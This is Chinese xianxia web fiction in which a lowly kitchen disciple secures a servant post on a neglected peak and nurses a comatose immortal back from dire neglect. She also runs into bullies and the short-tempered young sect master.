《少宗主又争又抢》
1. 进内门的机会
盛夏的午后酷暑难挡。
温微竹与其他几名帮厨弟子从热气蒸腾的厨房走出。
一行人一边走,一边抱怨着这该死的天气,与永无出头之日的未来。
只有温微竹沉默地擦着额角的汗水,未置一言。
常阳宗位列修仙界四大宗门,无数修仙者趋之如骛,可现实往往十分残酷。
有修仙天赋,但根骨一般,即便被宗门收录,也只能成为外门弟子,甚至打杂弟子,一辈子也寻不到出路。
“唉,微竹,你厨艺这么好,要不要去找个内门弟子抱抱大腿?内门弟子的话,手缝里随便漏出点丹药都比你苦练强,一直待在外门,纯粹就是浪费光阴。”
说话的是一个肥胖的中年大叔。
他已经在外门呆了四十多年,除去比凡人老得稍微慢一点,各方面和凡人并无区别。
肥胖大叔的话立马被一个年轻的瘦竹竿男人打断:“你傻吗?除了新弟子,但凡过了筑基期的弟子,谁还吃东西?在修仙界最没用的就是厨艺!”
被这么一说,众人脸色更加灰败。
他们服务了一茬又一茬的新弟子,眼睁睁看着一批又一批新弟子来到食堂又从食堂消失。
而他们却一直留在原地。
一遍又一遍被提醒,他们的天赋,到此为止。
温微竹却微微一笑,眼角微弯,看起来温婉又贤良,“我无所谓,我喜欢下厨,能看到那群孩子吃得开心,我就很满足了。”
众人看不惯温微竹这种岁月安好的姿态。
来常阳宗的人,哪个不是抱着修仙成为一代强者的心思来的?
只能成为外门弟子,一辈子碌碌无为,谁的心中没有怨怼?
可温微竹却偏表现出一副满足现状的模样,看着就让人生厌!
“呵,装什么清高,还不是抱不上大腿,要是能抱上,还不马上就凑过去了!”
其中一个三十来岁的中年女人冷嘲热讽。
“和你关系好的陈青叶不就是勾搭上了内门弟子,现在连事也不用干,每天吃喝修炼,等着那内门弟子来临幸……”
“桂姐!”
温微竹强行打断对方,脸上依旧是一副软弱可欺的模样。
“青叶与胡师兄是真心相爱,不是你想的那种关系。”
“真心相爱?”名唤桂姐的女人冷嗤了一声,朝温微竹翻了个白眼。
“做梦吧,内门弟子和外门的女人在一起,还不是就图方便省事,等过了新鲜劲,就丢一边,再找个年轻漂亮的。内门弟子有修为,能永驻容颜,外门的有什么?不过就那几年青春还值几个钱。”
说着,桂姐冷冷打量温微竹。
“你年纪也不小了,趁着还有点价值的时候能捞一点是一点,等过几年,你想捞也没资本捞了。”
“能捞什么啊!”
之前打断胖大叔的瘦竹竿在一旁发言。
“男人也不是看女人有点姿色就要的,还要有趣啊。她但凡有趣一点,这个姿色,外门的男弟子也不会让她单身到这个年纪。”
众人哄堂大笑,觉得有理。
一群人笑咧咧走了,只留下胖大叔在一旁安慰温微竹。
“微竹,他们说的话你别放在心上。阿桂年轻的时候被内门弟子抛弃过,所以不相信内门弟子。”
温微竹惊讶看向胖大叔,没想到一向嘴毒的桂姐有过这样的经历。
胖大叔仰头叹了口气。
“其实接受命运挺好的,一直望向永远也到不了的顶峰,也只是徒增痛苦罢了。走吧,回去休息一会,一个时辰后,又得忙活。”
温微竹望着胖大叔远去,视线不自觉投向不远处的云萃峰。
常年萦绕在云萃峰峰顶的云雾也因酷暑消散不见,盛夏的阳光洒在青翠的竹林,微风轻拂,蝉声阵阵,那个地方,明明那么近,却又那么远。
外门弟子如非重要事情,轻易不可进入内门山峰。
宗门大人物的的私人领域,更是想都别想。
胖大叔说得对,渴望永远也到不了的山顶,只会给自己增添望而不得的痛苦。
可人若是轻易就能舍弃那个山顶,又怎么会有痛苦。
人会痛苦,往往是因为,明知达不到,却还抱着希冀苦苦追寻等待。
敛眉,温微竹收回视线,摘掉头上的厨师帽子,慢慢朝着自己的小屋子走去。
离屋子还有一段距离,就听见呜咽声。
温微竹神色微凝,望向她屋子旁边的房间,那是陈青叶的住所。
她快步走过去,敲门进去,见陈青叶趴在桌子上哭,一旁的胡司敬想安慰又不知如何安慰的模样。
“青叶,怎么了?”温微竹忍不住走过去温声询问。
陈青叶听见温微竹的声音,转身抱住温微竹的腰,一边掉眼泪一边控诉:“胡司敬一点都不爱我。”
“我怎么就不爱你了?”胡司敬无奈反驳,“我为你争取这个名额已经不容易,你说带人就带人,哪那么容易!”
温微竹听得云里雾里。
她轻抚陈青叶的头,在一旁坐下,拿了一块干净帕子轻柔地替陈青叶擦眼泪。
“怎么回事?跟我说说。”
陈青叶仍旧泣不成声,温微竹只得把目光投向胡司敬。
胡司敬朝温微竹投来歉意的目光,随后移开视线,将事情的原委一一道来。
原来是内峰出现了杂役弟子的空缺,胡司敬为了能让青叶进入内门,好不容易托关系抢到了一个名额。
但青叶不想自己一个人去内门,所以要胡司敬想办法再弄一个名额,把温微竹也带进去。
“温师妹,抱歉,我实在是没办法。”胡司敬再一次满怀歉意道。
温微竹明白了始末,垂眸,抬起一直低头哭泣的陈青叶的头,安抚道:“青叶,不哭了。”
“微竹,我不要和你分开!要去我们一起去!”陈青叶抱着温微竹呜呜哭。
“我知道你不想和我分开,你去了内门有时间也可以出来找我。你也知道,现在厨房离不开我,就算能去,厨房那边也不会放人的,你就别为难胡师兄了。”
“厨房那么多人有什么离不开你的!我不管!”
陈青叶双眼泪水未干,愤怒看向胡司敬,起身将他往外推,温微竹拦都拦不住。
将胡司敬推出房门,陈青叶双手叉腰堵在门口,冲胡司敬嚷道:“胡司敬,我跟你说,要么我和微竹一起去,要么我们一个也不去,你自己看着办!”
说完,砰地将胡司敬关在了门外。
“青叶!青叶!”
胡司敬在外面敲了一会门,陈青叶都置若罔闻。
温微竹想开门去劝说,被陈青叶凶了回来。
门外胡司敬敲了半天见陈青叶不理,最后无奈离去。
温微竹安抚陈青叶安抚了半天,好不容易陈青叶情绪稳定点,温微竹才从陈青叶房间出来。
算算时间,胡司敬应该还没走太远,温微竹抬脚追了过去。
“胡师兄,”在内峰门口,温微竹喊住胡司敬,“等一下。”
“温师妹,你怎么来了?”胡司敬回头。
“我来是想说,青叶有点小孩子脾气,让师兄为难了。”温微竹走到近前,“师兄不用为了名额的事情为难,这两天我会跟青叶好好谈谈,她很快就会接受的。”
胡司敬看向垂眸温顺的温微竹,持剑的手不安地抬了抬。
“温师妹,真的很抱歉,毕竟这次缺
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的是云萃峰的杂役弟子……”
“你说什么?”一直低眉顺眼的温微竹愕然抬头,身子甚至不由自主往前走了一步,“师兄刚说的是云萃峰吗?”
胡司敬被蓦然靠近的动作吓了一跳。
在他的印象中,温微竹一直温婉娴静,像只安静地兔子一般温和无害。
此刻灼热的目光与急切的神色还从未见过。
“胡师兄?”
胡司敬回过神,点点头。
“对的,云萃峰。不知道师妹你听说过没有,云萃峰的无息仙尊受伤昏迷已经差不多两年了……”
“我知道。”温微竹蹙眉不解,“云萃峰应该一直有人照料吧?怎么突然来外门选弟子?”
胡司敬摸了摸鼻子,没想到温微竹平时不声不响的,脑子却这么敏锐。
“原先负责云萃峰的弟子调离了,所以有了空缺。”
胡司敬四处瞟了瞟,冲温微竹小声道:“云萃峰相当于闲职,大家都想去,我也是找了不少关系才确定下来的。”
胡司敬面露难色,挠了挠头,“温师妹,我……”
“师兄,能再想想办法把我也带去云萃峰吗?”温微竹抬眸眼神一下不错的盯着胡司敬。
平日里,温微竹习惯半低着头,看起来温驯且柔弱,如今抬眸殷切看人的时候,才发现有一种被楚楚可怜的小动物盯着的感觉。
胡司敬愣了好一会,才囫囵吞枣地点点头,“我试一试。”
两天之后。
温微竹正在厨房忙的时候,陈青叶开心地跑过来,将温微竹手中的锅铲一丢,傲气道:“微竹,走,这破菜咱不炒了!我们可以一起去内门啦!”
厨房的主厨、切菜、洗碗等一众弟子皆看向两人方向。
“陈青叶,你刚才说什么?”桂姐率先丢掉手里的碟子,气汹汹地跑过来问。
陈青叶叉腰挡在温微竹身前,朝桂姐趾高气昂道:“我说我和微竹要去内门!不在这破地方呆了!”
“你说去内门就去内门!你以为内门是你家啊!你这个破鞋不顾廉耻吹耳边风让人带你去内门就算了,温微竹凭什么去内门?”桂姐双眼冒火,神色狠戾。
厨房其他人皆是神色难看,用嫉恨的眼神看着陈青叶与温微竹。
温微竹拉了拉陈青叶的袖子,不想双方起冲突,但陈青叶现在艺高人胆大,她觉得自己马上都要进内门,还用得着怕这些贱人!
“你才是破鞋!自己破鞋看谁都是破鞋!你管内门是谁家!现在是,我和微竹要去内门,而你们,永远待在这个破厨房!永世不得翻身!”
陈青叶毕竟曾经是厨房的一员,知道戳哪里最疼。
众人被陈青叶一番话激得红了双眼,不知道谁率先动了手,场面一下子就失控了起来。
温微竹急忙将陈青叶护在怀里,一个人承受众人的撕扯与打骂。
“你们敢打我!司敬师兄不会饶了你们的!”
被护在怀里的陈青叶红着双眼,透过温微竹的肩膀,瞪着围殴的众人。
“我要让你们都没有好果子吃!”
“你以为我们不会去检举胡司敬!他以公谋私,到时候,看是他教训我们,还是他被赶出宗门!”瘦竹竿阴狠道。
陈青叶一时噤声,瞪大了双眼。
不知道谁用铲子砸了温微竹的后背,温微竹忍痛闷哼了一声,在听到瘦竹竿的话时,她蓦地转头怒盯着瘦竹竿。
“那要不要试试,宗门长老是更愿意相信内门弟子,还是外门弟子?你们自己想想惹怒内门弟子的后果!”
一向说话声音轻柔地温微竹忽然如此冷厉,唬得众人皆是一愣。
“走。”温微竹趁机拉着陈青叶的衣袖,两人转身离开厨房。
2. 终于见到无息仙尊
胡司敬来接陈青叶与温微竹的时候,看见陈青叶正在给温微竹处理伤口,不禁走过去皱着眉问:“怎么回事?谁欺负你们了?”
一看见胡司敬,陈青叶就委屈地眼泪汪汪,丢了膏药,往胡司敬怀里一扑,哇哇告状:“厨房里的那些人,他们要打死我们!司敬师兄,你必须得给我出这口恶气!”
“明知道你是我的人,他们怎么敢的?”
胡司敬眉梢高挑,一脸心疼地抚摸陈青叶的小脸蛋,替她理了理蹭乱的头发。
“他们不仅敢打我,还扬言说要举报你以公谋私!”
说到关键点,陈青叶才止住眼泪,看着胡司敬忧心道:“司敬,他们不会真的举报你吧?”
“他们是疯了吗?区区外门弟子,还想举报内门弟子。”
胡司敬擦干陈青叶的眼泪,哄道:“青叶,别怕,我随便给他们找点茬,就能让他们一整年都不好受。我不会让你的伤白受的。”
两人你侬我侬了一会,温微竹在一旁自己拿药将肉眼可见的伤口简单擦了擦药。
等那两人终于抱够了,温微竹才起身,朝胡司敬行了个礼,“胡师兄,我听青叶说了,我能和青叶一起去内门,谢谢师兄……”
敏锐地察觉到待在胡司敬怀里的陈青叶皱了皱眉。
温微竹看向陈青叶,微笑道:“当然,主要是要感谢青叶,有什么好处都记得我。”
陈青叶很开心,扭了扭身子,道:“我们是好姐妹嘛,当然要有福同享,有难同当。”
两人简单收拾了一下行李,跟着胡司敬去了内门。
走在去云萃峰的路上,温微竹的心中鼓噪不安。
两年前,得知无息仙尊受伤昏迷,短时间内不可能在云萃峰以外的地方见到无息仙尊之后,温微竹就构想过无数种她能走上云萃峰的可能。
各种路径构思完之后,发现以她杂灵根的资质,进入云萃峰的可能性完全为零。
于是,云萃峰与无息仙尊一样,成了她只能幻想的存在。
时间已经太久了,温微竹已经忘记了无息仙尊的长相。
只有午夜梦回中,那挥散不去的血腥味,与尖锐刺耳的惨叫,以及在火光滔天中从天而降的仙长救起她后,冷漠转身的衣角。
云萃峰倒是有个遥远观望的印象。
然而,事实往往让人破碎。
以为仙长所在的山峰起码应该仙气飘飘,云缭雾绕。
可……
映入眼帘的却是被灌木覆盖的小路,被杂草侵占的院子。
与普通的,荒无人烟的山野,毫无差别。
她驻足在小路的尽头,一时之间竟分不清这是现实还是梦境。
“微竹,怎么啦?”一直在抱怨路不好走的陈青叶停下脚步,望向远远落在后面的温微竹。
胡司敬也看过来,挠了挠头,跟两人解释:“毕竟两年没好好修整,乱一点正常。”
温微竹骤然回神,她皱了皱眉,拽紧右肩的包袱,沉默地跟上两人的脚步。
两年……
大战后,无息仙尊昏迷了两年。
而这片山头,也荒废了两年。
“司敬师兄,这里会不会有蛇啊,老鼠啊这种东西?”
陈青叶紧紧拽着胡司敬的胳膊,警惕地看向周边乱丛丛的草丛。
“不会的,云萃峰有无息仙尊的剑镇着,一般的人和小动物进不来。刚才给你们带的令牌是通行符,一定要好好保存。”
三人来到山顶,推开院子的门。
院门发出老旧腐朽的吱呀声,在空寂的院子里格外刺耳。
“院子中间的房间是无息仙尊的房间,旁边的房间你们可以随便住。”胡司敬指着眼前几间破败的屋子介绍。
陈青叶嫌弃地皱了皱鼻子,“师兄,我能不能不住这里,好破啊。”
胡司敬看了一眼温微竹,“这……”
“胡师兄,这边的事情我可以一个人做,青叶胆子小,要不,让她去你那边?”
温微竹话刚出口,陈青叶就惊道:“真的吗?微竹,你一个人能行吗?”
陈青叶激动之下握着温微竹手臂的手很用力,勒在温微竹原本的伤口上,很疼。
温微竹轻嘶了一声,轻轻拽住陈青叶的手腕,点点头,“没关系的,这里事应该不多。”
“这里没什么事需要做的,无息仙尊昏迷躺在床上,就每天确定一下他还活着就行,其他可以不用管。至于这个院子……”
胡司敬打量了一下,陈旧的模样,显然之前负责的人已经很久没有打理过了。
“你想打理就打理一下,不想打理就这样也行。”
温微竹望着院子没有说话,视线落在正中间的房间内,那里面躺着这座山峰的主人。
“不用照料无息仙尊吗?吃喝擦身之类的……”
“啊,那个啊,不用。无息仙尊有灵力伴身,本身也早已辟谷,不用吃东西。也不用做清洁,他身下有清洁阵,只要定时更换灵石给阵法提供灵力就行。”
胡司敬说着推开了房间门,一股陈旧的灰尘在空气中飞扬。
三人呛得一阵咳嗽。
“这房间得多久没打扫了?”陈青叶捂着鼻子抱怨。
“偷懒呗。毕竟这里几乎没有人来。”胡司敬满不在乎道。
胡司敬与陈青叶还在与空气中的粉尘作斗争,温微竹透过两人在空中挥动的手臂看向房间深处简单的木床。
木床挂了一层半透明的床帘,虽不能直接看到床上之人,依稀能看到床上单薄的凸起。
温微竹率先走到床边,掀开床帘看向躺在床上之人。
一头雪白的长发,犹如一把枯骨的脸庞……
“啊!鬼啊!”跟在温微竹身后的陈青叶尖叫着躲入了胡司敬的怀里,“司敬,这太可怕了,他真的还活着吗?”
胡司敬也是第一次看见,被眼前仿佛干瘪尸体一样的人吓得连连后退。
他的神色闪过一丝古怪,但在兵荒马乱的情形下,无人察觉。
温微竹被震在原地,好一会才伸出手探了探床上之人的鼻息。
“还活着。”
但陈青叶与胡司敬已不再关注这个答案,而是在讨论离开的问题。
“司敬,我不想呆在这里,好可怕,我半夜肯定会做噩梦吓死的。”陈青叶将脑袋埋在胡司敬怀里,闷闷的撒娇。
“好,好,我带你去我的住处。这里确实有点可怕。”胡司敬说着看弯腰在找什么的温微竹,问:“温师妹,你在找什么?”
“胡师兄,你说的清洁阵在哪里?我找找看怎么换灵石。”
胡司敬放开不愿靠近床边的陈青叶,安抚地拍了拍陈青叶的后背,才走到床边,掀开床尾的被子。
床尾的阵法赫然出现在两人眼前,而阵法正中间灵石镶嵌位置黯淡的灵
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石更是震惊人的眼眸。
灵石竟然早已灵力耗尽!
温微竹与胡司敬神色皆是一凝。
一旁的陈青叶见两人神色不对,以为又有什么恐怖的事情,颤抖着问:“怎么了?”
胡司敬急忙回去安抚陈青叶,温微竹几乎是立刻掀开了床上的被子。
雪白宽大的袖袍被撩上去,苍白仿若骨架上披了一层白皮的手臂映入眼帘,温微竹控制不住双手的颤抖,轻轻抬起干枯的手臂。
手臂下的皮肤溃烂,发出腐臭的味道。
陈青叶远远看了一眼,忍不住干呕出声,胡司敬连忙带着陈青叶离开了房间。
温微竹将手臂轻轻放回床上,翻开自己放在一边的包袱,从包袱里挑了一块自己这些年攒下的看起来品质最好的灵石。
黯淡犹如岩石的灵石被移走,一颗发着微弱灵光的灵石填充了留下的空缺。
温微竹等了一会,却并没有等到阵法运行。
“胡师兄!”温微竹喊了一声,去门外找到正在商量接下来安排的两人,“胡师兄,那个阵法我放了灵石为什么没反应?”
“不会吧?那个阵法是宗门长老亲自画的,不应该有问题啊。”胡司敬一边说着,安抚陈青叶后,跟着温微竹进了房间。
看到床尾温微竹放进去的灵石后,胡司敬噎了一下,“温师妹,这个阵法得中品以上的灵石才能启动,下品灵石的灵力太弱了。”
温微竹愣了一下,看向床尾放着的散发着微弱灵光的灵石。
外门弟子辛苦工作的月钱,只有普通的铜板,只有年尾有奖金的时候,才能领到一块下等灵石。
沉默半晌,温微竹才缓缓问:“胡师兄,云萃峰的物资上哪里领?”
触及温微竹看过来的眼神,胡司敬垂眸避开来温微竹的视线,尴尬道:“内峰各峰的物资都是月初统一去青鸾峰领取,现在已经是月中……”
胡司敬没有说完,但言下之意,温微竹能明白。
温微竹的目光重新转向床上无知无觉躺着的人。
他还活着,但对于这个宗门来说,他好似已经死去。
“胡师兄,”温微竹低着头,声音低沉压抑,“你有中品灵石吗?等下个月月初领了物资,我立马就还给你。”
胡司敬还未说话,一直在房间外的陈青叶不知道什么时候来到了门口,朝胡司敬大喊:“胡司敬,你们干什么在里面呆那么久!我一个人好怕!”
胡司敬看了温微竹一眼,抱歉道:“温师妹,我先去看看青叶,她比较害怕。”
说着,胡司敬就快步走向了陈青叶,在陈青叶的抱怨中,牵着陈青叶出了房间。
温微竹朝胡司敬伸手,最终又收了回来。
陈青叶在门外哭哭啼啼,等温微竹走出来的时候,陈青叶擦着眼泪,漂亮的眼睛可怜又无辜,“微竹,我太害怕了,我不想呆在这里。”
温微竹声音温温的,“没关系,青叶,你和胡师兄走吧,这里我看着就行了。”
陈青叶抱着温微竹的胳膊撒娇,“我就知道微竹你最好了!”
两人准备离去,温微竹还是没忍不住开口:“胡师兄,灵石……”
“唉,微竹,”陈青叶率先开口,“胡司敬身上根本就没带灵石,床上那人都那样了,之前的人都不管,你也别管了,就让他那么躺着吧。”
陈青叶说完,就拉着胡司敬离开了云萃峰。
3. 初见少宗主
待那两人的身影消失在视线中,温微竹才重新回到房间。
她在床边站了一会,最终掀开被子,脱掉床上之人的衣裳,将人侧翻过身。
后背与臀部腐烂的褥疮映入眼帘,虽然早已预料,却还是被眼前所见震惊,温微竹的瞳孔不受控制地抖了抖。
如果不是她亲手试过对方的鼻息,眼前骨瘦如柴,疮痕遍布的身体,任谁看都会以为是一具已经开始腐烂的尸体。
将床上之人的身体侧躺,温微竹转身出去寻找工具。
不多一会,温微竹拿着洗干净的盆,烧了一点温水,拿到房间里。
翻开自己的包袱,从一堆洗干净的旧帕子里,挑一条最新的,才走到床边,用帕子粘了粘温水,将床上之人的伤口一一清理擦拭。
她的包袱里只有之前没用完的伤药,考虑了一会,她还是把伤药涂在了每一个创伤处。
等忙完这一切,已经进入了深夜。
温微竹坐在小板凳上,靠在床边趴着小憩。
天微微亮的时候,温微竹突然惊醒,缓了好一会惶乱的心跳,她才捋了捋额前的碎发,站起来。
她如今微末的修为,唯一的好处大概就是她的体力比普通凡人女子要好很多,能端得起大锅,也做得了粗活。
将床上之人换一个躺姿,温微竹又趁着微光将整个房间打扫了一番。
寂静的夜渐渐远去,盛夏的喧嚣再次响起。
温微竹已经将整个院子打扫了一通,除了一些日常用具,温微竹没有翻到任何有价值的东西。
这个院子完全可以用一贫如洗来形容。
她的包袱已经够寒碜了,现在这个院子最富有的反倒是她的包裹。
想想还真是讽刺。
温微竹坐在床边发了会呆,盯着放在床尾毫无动静的灵石,最终决定去一趟青鸾峰。
简单洗漱一下,温微竹用冷水拍了拍自己的脸,扫去一晚上没休息的疲惫。
一路走一路问,终于找到了青鸾峰申领物资的部门。
正在忙活文书的师姐听闻温微竹的来意,顿时皱了眉头,不悦道:“物资月初就发放完毕了。”
温微竹耐着性子道:“师姐,我是新来的,不是很明白,所以来问一下。”
本来不耐烦的师姐见温微竹态度比较恭顺,态度也稍微缓了些,道:“每个山峰的物资都是月初发放,这个月的已经领完了,你等下个月再来。”
“明白。”温微竹点头,脸上还是一脸谦卑,“师姐,打扰问一下,怎么确定自己山峰的物资领了没?”
“我们这边有签名册,领完物资都要签名的,云萃峰的月初就领走了。”
师姐将签名册拿出来,递给温微竹看。
“看,这里写着呢,七月一日,午时,王鑫利。”
温微竹看了一眼签名栏上的名字,瞟了一眼前面的申领记录,全部都是一样的签名。
“我明白了,谢谢师姐。”温微竹顿了一下,接着道:“师姐,云萃峰无息仙尊阵法里的灵石灵力耗尽了,需申领一块中品灵石应急,请问可以提前申领吗?”
解答问题的时候,师姐还能看在温微竹态度良好的份上耐着性子回答,但这得寸进尺的请求,师姐就不乐意了。
她当即拉着脸道:“你在说笑吗?我们是有规章制度的,哪能想申领就申领。”
师姐一边赶人一边翻白眼,“走,走,走,我忙的很。你们这些人就不能踏实干点事,只想着钻空子得好处。云萃峰的物资仙尊又用不上,最终不都被你们瓜分,就这么迫不及待,连等到月初都等不及。”
温微竹被推搡着后退,她一个练气入门的微末修为,哪能抵得过筑基期师姐的推搡。
“师姐,无息仙尊真的很需要一颗中品灵石,您看能不能通融一下,可以从下个月的物资里扣除,真的……”
“不行,不行,说不可以就是不可以!”师姐压根就不想听,只想快点把温微竹打发走。
“师姐,我真的没有骗你,你如果不信的话,可以跟我去亲眼看一下……”
温微竹话没说完,就被打断,“这位小师妹,你怎么听不懂人话。无息仙尊怎么样,跟我有什么关系,那是你们的事,你们工作没做好,不能来找我啊!我的工作是管理物资,我只知道没有月中来领物资的道理。走吧,物资已经领走了,你要物资去找领物资的人,别来找我。”
师姐说完,砰地一声,就把温微竹关在了门外。
温微竹还想再敲门,却发现,被一道无形的结界阻隔在外。
温微竹摸了半天,最终只得放弃。
回到云萃峰,替床上早已骨瘦如柴的人重新抹了一遍药,翻一个身之后,温微竹迷茫地坐在一边,直到肚子传来咕噜噜的声响,才想起来自己一直没有吃饭。
去食堂的路上,温微竹每碰到一个弟子,便询问对方是否认识一个叫王鑫利的弟子。
师姐说得没有错,物资已经被领了,如今,她只能找之前负责云萃峰的那个弟子,跟他要回物资。
她心里明白,要回的几率微乎其微,但她也别无他法。
“王鑫利?”被询问的师兄看了一眼身旁的人,“你听说过吗?”
旁边的人摇了摇头,“没听说过,师妹知道是哪个山峰的弟子吗?”
“是原先负责照料云萃峰的弟子……”
温微竹的话音未落,对面的两个师兄脸色奇特,用古怪的眼神看着温微竹。
“一个杂役弟子,我们怎么可能知道,你要不去问问其他杂役弟子吧。”其中一个师兄语气颇为不悦,皱着眉头拉着其他师兄走了。
温微竹张了张嘴,愣了好一会,待那群人已经远远离去,她才一步一步朝食堂方向走去。
在食堂心不在焉吃着饭,食堂小范围一阵又一阵骚动,温微竹都没有注意到。
直到近在她身旁有人愤怒地将餐碟摔在地上,残片擦着她的脸庞飞过,温微竹才惊醒回神。
“这是给猪吃的吗!厨房是不是把昨天的剩菜拿过来了!什么破玩意,这能吃?”
出于职业习惯,温微竹的心咯噔了一下,下意识尝了一下眼前的食物,之前因为心不在焉,味同嚼蜡,这会认真一品,眉头轻轻皱了起来。
调料配比与火候确实有点小问题,但也没到摔盘子那人说的那程度。
如果不是对饮食特别挑剔的人来说,事实上,应该区别不是太大。
厨房那边在温微竹去之前,一直是胖大叔掌勺,温微竹的厨艺也是胖大叔一手带的。
但可能她确实在厨艺方面有点天赋,很快她炒的菜与胖大叔做出来的会有一些微妙的区别。
而就是这些微小的区别,会让菜的口感上升很大一个阶梯。
这也是后来胖大叔让温微竹掌勺的原因。
温微竹觉得问题不大,也就没管,继续低头吃饭。
但骚乱并没有止息,温微竹听到骚乱中心传来几个比较熟悉的声音,是常来厨房取餐的弟子的声音。
温微竹下意识看过去,正好与其中弯腰道完歉抬头的弟子对视,那人看见温微竹,眼睛瞬间亮了。
“温微竹!”他喊了一声,伸手指向
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温微竹,“少宗主,她,她是掌勺。”
少宗主?温微竹心里咯噔了一下,看向人群中心的人。
那人很年轻,看起来也就二十来岁,内里一身白,外袍却绣着繁复的金色花纹,在一群穿着素青色弟子服的人群中格外突出。
温微竹看过去时,正碰上那人看向她的方向。
他的眉眼还残存着一丝少年意气,不悦的神色散发着毫不收敛的戾气。
温微竹曾听厨房管事提过一嘴,说少宗主是整个宗门最好的人。
温微竹既无缘相见也无从了解,可眼前这个又凶又暴躁的人,实在很难和厨房管事嘴里那个整个宗门最好的人联系在一起。
少宗主气势汹汹朝温微竹走过来,身后还乌泱泱跟着一群人。
温微竹无措地坐在位置上,只是愣愣地看着对方在她桌旁停下。
少宗主一脚踏在温微竹桌对面的凳子上,上下打量着眼前温驯柔弱、看起来像只受惊的小兔子的人,回头瞅了一眼指认的人,又转回来看向温微竹。
“你是掌勺?”他的语气里充满了不确信。
温微竹摇了摇头。
少宗主露出果真如此的神色,眼神立马狠厉地转向指认的那名弟子。
那名弟子吓得一哆嗦,颤巍巍指着温微竹厉声道:“温微竹,你不能因为把菜搞砸了就不承认自己是掌勺吧!又不是只有我一个人认识你,取餐的弟子都认得你!”
说完,那名弟子急切地找其他人认同。
另外战战兢兢的几名弟子都点头,认同这个弟子的话语。
少宗主于是皱着眉头望向温微竹,却见温微竹半低着头,单薄的眼皮微垂着,遮住了清润无害的双眼。
“我昨日调岗了。”温微竹的声音温温的,不大,但足够少宗主听见。
少宗主瞬间明白了个中缘由。
之前掌勺是她,今日掌勺不是她。
但那些取餐弟子离得稍远,没听见温微竹的话,见温微竹一副无辜可怜的模样,生怕温微竹死不承认,到时候少宗主怪罪他们,因此十分激动。
“温微竹,你就算不承认也没用,过会厨房的人来了,大家也都认得你,你……”
那弟子激动之下的大嗓门被少宗主的怒瞪打断。
“把他们都带走。”少宗主朝身旁弟子眼神示意,随后在温微竹的对面坐下。
很大一部分人退去,只有少部分还站在少宗主的身后。
少宗主盯着温微竹,又看了一眼温微竹面前没怎么吃动的饭菜,问:“为什么调岗?调去哪里?”
温微竹始终低着头,不敢抬头看对方,姿态温驯又忐忑:“调、调来内门。”
“哟,高升啊。”少宗主身后的一个弟子脱口而出,见众人都看着他,意识到自己僭越,立马捂住了嘴。
少宗主闻言,拧眉盯着温微竹,随后发出一声意味不明的嗤笑,转身离去。
温微竹抿唇,直到少宗主人远去,她才重新拿起筷子,打算快速解决餐食。
未料,她的身后突然传来一个恶意的声音。
“哟,一个厨子还能高升呢,内门可没有厨房啊。哈哈,是吧?”
轻浮声伴随着哄笑声传来。
温微竹低头吃饭,视线余光能看见几名弟子的脚步靠近,在她的身旁停下。
温微竹装作没看见,一直低着头吃饭,连头都没抬一下。
挑事之人见温微竹对他们充耳不闻,神色不悦,拽住温微竹的头发,强行让温微竹抬头。
“师兄跟你说话呢,最基本的礼貌要有啊。”
4. 打听少宗主
一个尖嘴猴腮的脸映入温微竹的眼帘。
疼痛让温微竹皱眉,但她神色平静,直直望向恶意凝视着她的人。
“长得确实有几分姿色,不知道是爬上了哪位师弟的床然后高升进了内门,说来给师兄听听,说不定大家互相认识呢,以后也可以一起交流感情。”
所谓的交流感情,是哪种层面的交流,不言而喻。
跟在他身后的一群人心领神会,下流地哄笑起来。
温微竹既不挣扎也不生气。
她仰抬着头,用死水一般毫无波澜的平和语气道:“大概是师兄交流不起的人物呢。师兄何不报上名号,这样我也好让你口中的那位师弟来找你交流交流。”
“你!”
拽住温微竹的手无意识地收紧。
温微竹忍不住嘶了一声。
带头的人心中打鼓,这娘们这话难道是说她背后的靠山非同小可?
跟在他身后的弟子见势不妙,生怕一不留神惹到了大人物,顿时作鸟散。
只留始作俑者上不能上,下不能下。
“哼!”
带头的人嘴上还死犟着,手却不由自主松了力道。
“虚张声势,那你倒是说出来,是谁!”
修仙界弱肉强食,强者欺负弱者是生存法则,可有时候,你眼前的弱者,身后可能站着的是你根本无法撼动的高山。
那极有可能把自己的命都搭进去。
孤军一人的弟子眼看着刚才还平淡冷漠的女人,嘴角微扬,露出温驯又清澈的笑容,犹如一只温驯无害还亲近人类的毛绒绒幼兽。
这种亲切非但没让他觉得舒适,反而浑身起了一层鸡皮疙瘩。
“师兄,你大可以对我做任何你想做的事情,横竖我也没有反抗能力,我唯一希望的是,师兄能留下自己的名字,如若师兄实在不愿意留名,也没有关系,师兄的脸,长得还挺好辨认的。”
“艹!你有病吧!”
带头欺凌他人的人,最终丢盔弃甲,逃之夭夭。
面对食堂内似有若无探究的视线,温微竹神色如常,轻轻揉了揉被扯疼的头皮,继续低头吃饭。
去青鸾峰预支灵石的路断了,如今她只能寄希望于找到王鑫利,指望着他能良心发现,将月初领的物资贡献一部分出来。
温微竹出了食堂,慢悠悠地走在路上。
若是实在没办法,她只能去找胡司敬,问王鑫利的下落。
就在温微竹思索之时,一个十七八岁的少女期期艾艾地跟在她的身后。
温微竹走几步,她跟几步,温微竹一停下,她又躲进树丛里。
温微竹干脆往小路上一拐,找了一个比较隐蔽的石头坐着。
那人紧跟了几步,发现把人跟丢了,便耷拉着头,唉声叹气地在原地徘徊了一番。
温微竹静静观察了少女半天。
少女穿着普通的素青色弟子服,容颜娇嫩,修为只有基础的练气期。
常阳宗内除了真传弟子,其他内门弟子统一穿的都是素青色弟子服,哪怕是最低等的杂役弟子,穿的也是清一色的素青色弟子服。
宗门内部,判断一个人等级的,往往是这个人的修为。
修为越低,越是一目了然。
从少女这个年纪,还停留在练气期来推测,少女大概率与她一样,是某个峰的杂役弟子。
“你找我有什么事?”
温微竹从树荫里走出,望向垂头丧气的少女。
少女吓了一跳,随后眼神躲闪,最后环顾四周,见四下无人,终于鼓起勇气凑到温微竹的身边,道:“师姐,我刚刚也在食堂,你真的好勇敢,那个陈典惯会欺负新人,特别是新来的杂役弟子。”
温微竹凝视着眼前少女。
少女圆润的眼睛有着年少的清纯,眼角亦有藏不住的心机算计。
拥有根骨,却天赋一般,早早的脱离凡尘,踏入生存激烈的修仙界,本该无忧无虑的少女,早已历经了成人世界才有的艰难险恶。
温微竹温婉一笑,似是轻柔抚慰,“他也欺负过你?”
少女支吾了一下,随后点点头,“嗯,他修为也不怎么样,比他厉害的他不敢惹,就专挑那些没有靠山的杂役弟子欺负。”
